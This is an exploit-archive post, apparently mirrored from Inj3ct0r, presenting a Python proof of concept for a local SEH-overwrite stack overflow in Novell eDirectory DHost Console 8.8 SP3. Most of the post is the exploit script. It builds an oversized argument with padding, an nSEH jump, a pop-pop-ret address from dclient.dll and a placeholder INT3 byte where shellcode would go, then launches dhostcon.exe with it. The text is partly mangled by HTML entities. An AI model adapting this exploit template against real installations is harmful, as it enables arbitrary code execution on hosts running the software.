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[dos / poc] - Novel eDirectory DHost Console 8.8 SP3 Local S

Posted on 17 October 2010

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Novel eDirectory DHost Console 8.8 SP3 Local SEH Overwrite
==========================================================

# Exploit Title:    Novel eDirectory DHost Console 8.8 SP3 Local SEH Overwrite
# Date:         17/10/2010
# Author:       d0lc3    (@rmallof - http://elotrolad0.blogspot.com/)
# Software Link:    http://www.novell.com/
# Version:      8.8 SP3 (20216.67)]
# Tested on:        win32 xp sp3 (spa)
 
#Summary:
#   DHostCon.exe is prone to local denial of service caused by stack overflow
#   triggered if user-supplied parameters are too long (1074 bytes).
#   Due nature of this vulnerabilty, attackers could exploit this issue
#   to execute arbitrary code on local host.
 
#PoC:
 
#!/usr/bin/python
import os,struct
 
def main():
    path=&quot;C:NovellNDSdhostcon.exe&quot;  
    args=&quot;x.x.x.x&quot;              #ip server
    buf=&quot;A&quot;*1065
    nseh=struct.pack(&quot;&lt;L&quot;,0x90909eeb)    #jmp short 0012ff50 +NOP + NOP
    seh=struct.pack(&quot;&lt;L&quot;,0x61012c20) #PPR dclient.dll
     
    shellcode=struct.pack(&quot;&lt;B&quot;,0xCC) #INT3
 
    crash=buf+shellcode+nseh+seh
 
    os.system(path+&quot; &quot;+args+&quot; &quot;+crash)  #Crash!
 
if __name__==&quot;__main__&quot;:
    main()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-17]</pre></body></html>

 

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